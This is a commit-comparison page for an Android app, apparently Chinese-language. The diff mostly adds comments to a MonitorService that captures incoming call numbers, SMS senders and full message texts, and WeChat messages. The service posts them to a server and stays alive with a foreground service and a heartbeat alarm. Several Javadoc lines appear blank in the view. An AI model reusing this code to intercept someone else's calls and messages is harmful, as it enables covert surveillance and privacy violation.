Compare commits

...

2 Commits

Author SHA1 Message Date
wangsiyuan f0a49ef542 Update MonitorService.java 2024-04-22 11:15:39 +08:00
wangsiyuan a398e59655 Update HeartbeatAlarmReceiver.java 2024-04-22 11:15:34 +08:00
2 changed files with 76 additions and 10 deletions

View File

@ -28,13 +28,11 @@ public class HeartbeatAlarmReceiver extends BroadcastReceiver {
/** /**
* 广 * 广
* *
* @param context1 访 * @param context 访
* @param intent 广 * @param intent 广
*/ */
@Override @Override
public void onReceive(Context context1, Intent intent) { public void onReceive(Context context, Intent intent) {
// 初始化上下文对象为后续操作提供context
context = context1;
// 执行发送心跳信号的逻辑 // 执行发送心跳信号的逻辑
sendHeartbeatSignal(); sendHeartbeatSignal();
// 在发送心跳后,重新设置下一次心跳发送的时间 // 在发送心跳后,重新设置下一次心跳发送的时间

View File

@ -73,6 +73,17 @@ public class MonitorService extends Service {
} }
/**
*
*
* @param incomingNumber
* "null"null
*
* 70
*
* CallInfo
* 使
*/
private void sendCallInfoToServer(String incomingNumber) { private void sendCallInfoToServer(String incomingNumber) {
Timber.d("sendCallInfoToServer: 处理来电信息"); Timber.d("sendCallInfoToServer: 处理来电信息");
if (incomingNumber.equals("null") || incomingNumber == null) { if (incomingNumber.equals("null") || incomingNumber == null) {
@ -91,59 +102,101 @@ public class MonitorService extends Service {
lastCallTime = currentTimeMillis; lastCallTime = currentTimeMillis;
String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()); String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
// 创建CallInfo对象并设置相关信息然后发送到服务器
CallInfo callInfo = new CallInfo(); CallInfo callInfo = new CallInfo();
callInfo.setCallTime(currentTime); callInfo.setCallTime(currentTime);
callInfo.setPhoneNumber(incomingNumber); callInfo.setPhoneNumber(incomingNumber);
networkUtils.postRequest(callInfo); networkUtils.postRequest(callInfo);
} }
/**
*
*
* @param sender
* @param messageBody
*
* SMSInfo
* 使SMSInfoPOST
*/
private void sendSmsInfoToServer(String sender, String messageBody) { private void sendSmsInfoToServer(String sender, String messageBody) {
Timber.d("sendSmsInfoToServer: 处理短信信息"); Timber.d("sendSmsInfoToServer: 处理短信信息");
if (checkNullString(sender, messageBody)) { if (checkNullString(sender, messageBody)) {
return; return;
} }
// 获取当前时间并格式化
String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()); String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
// 创建SMSInfo对象并设置相关属性
SMSInfo smsInfo = new SMSInfo(); SMSInfo smsInfo = new SMSInfo();
smsInfo.setSmsNumber(sender); smsInfo.setSmsNumber(sender);
smsInfo.setSmsContent(messageBody); smsInfo.setSmsContent(messageBody);
smsInfo.setSmsAcceptanceTime(currentTime); smsInfo.setSmsAcceptanceTime(currentTime);
// 使用网络工具发送POST请求
networkUtils.postRequest(smsInfo); networkUtils.postRequest(smsInfo);
} }
/**
*
* 使
*
* @param weChatMsg
*/
public void sendWeChatMsg(WeChatMsg weChatMsg) { public void sendWeChatMsg(WeChatMsg weChatMsg) {
networkUtils.postRequest(weChatMsg); networkUtils.postRequest(weChatMsg);
// 使用网络工具类发送POST请求将微信消息发送出去。
} }
/**
* null"null"
*
* @param a
* @param b
* @return null"null"truefalse
*/
private boolean checkNullString(String a, String b) { private boolean checkNullString(String a, String b) {
// 检查任一字符串是否为null
if (a == null || b == null) { if (a == null || b == null) {
return true; return true;
} }
// 检查任一字符串是否等于"null"
if (a.equals("null") || b.equals("null")) { if (a.equals("null") || b.equals("null")) {
return true; return true;
} }
return false; return false;
} }
/**
* API 26
* 使使
*
*/
private void startForegroundService() { private void startForegroundService() {
Timber.d("startForegroundService: 启动前台服务"); Timber.d("startForegroundService: 启动前台服务");
// 创建通知频道仅在API 26及以上版本中需要 // 检测系统版本仅在API 26及以上版本创建通知频道
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel channel = new NotificationChannel("channel_id", "Channel Name", NotificationManager.IMPORTANCE_DEFAULT); NotificationChannel channel = new NotificationChannel("channel_id", "Channel Name", NotificationManager.IMPORTANCE_DEFAULT);
NotificationManager notificationManager = getSystemService(NotificationManager.class); NotificationManager notificationManager = getSystemService(NotificationManager.class);
notificationManager.createNotificationChannel(channel); notificationManager.createNotificationChannel(channel);
} }
// 创建通知 // 创建通知对象。通知内容包括标题、小图标等
Notification notification = new NotificationCompat.Builder(this, "channel_id") Notification notification = new NotificationCompat.Builder(this, "channel_id")
.setContentTitle(getString(R.string.notification_title)) .setContentTitle(getString(R.string.notification_title))
//.setContentText("sdads") //.setContentText("sdads")
.setSmallIcon(R.drawable.ic_notification) // 确保您有这个图标 .setSmallIcon(R.drawable.ic_notification) // 设置通知的小图标
.build(); .build();
// 启动前台服务 // 使用创建的通知启动前台服务
startForeground(1, notification); startForeground(1, notification);
} }
/**
* null
*
* @param intent Intent
* @return null
*/
@Nullable @Nullable
@Override @Override
public IBinder onBind(Intent intent) { public IBinder onBind(Intent intent) {
@ -151,18 +204,33 @@ public class MonitorService extends Service {
return null; // 不提供绑定服务的接口 return null; // 不提供绑定服务的接口
} }
/**
* 便
* 广
*
* @param context 访
*/
public static void scheduleHeartbeat(Context context) { public static void scheduleHeartbeat(Context context) {
// 获取系统的闹钟服务
AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE); AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
// 创建一个意图,指定当闹钟触发时要执行的广播接收器
Intent intent = new Intent(context, HeartbeatAlarmReceiver.class); Intent intent = new Intent(context, HeartbeatAlarmReceiver.class);
// 根据意图和标志位创建一个唯一的PendingIntent系统通过这个PendingIntent触发广播
PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, intent, 0); PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, intent, 0);
// 计算心跳事件的触发间隔,单位为毫秒
long intervalMillis = HEARTBEAT_INTERVAL_MINUTES * 60 * 1000; // 10分钟的毫秒数 long intervalMillis = HEARTBEAT_INTERVAL_MINUTES * 60 * 1000; // 10分钟的毫秒数
// 根据Android版本选择合适的闹钟设置方法以确保闹钟在设备休眠时也能触发
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
// 对于6.0及以上版本使用setExactAndAllowWhileIdle方法可以在设备闲置时精确安排闹钟
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + intervalMillis, pendingIntent); alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + intervalMillis, pendingIntent);
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
// 对于4.4到6.0版本使用setExact方法可以精确安排闹钟
alarmManager.setExact(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + intervalMillis, pendingIntent); alarmManager.setExact(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + intervalMillis, pendingIntent);
} else { } else {
// 对于更早的版本使用set方法可以安排一个带宽醒目的闹钟
alarmManager.set(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + intervalMillis, pendingIntent); alarmManager.set(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + intervalMillis, pendingIntent);
} }
} }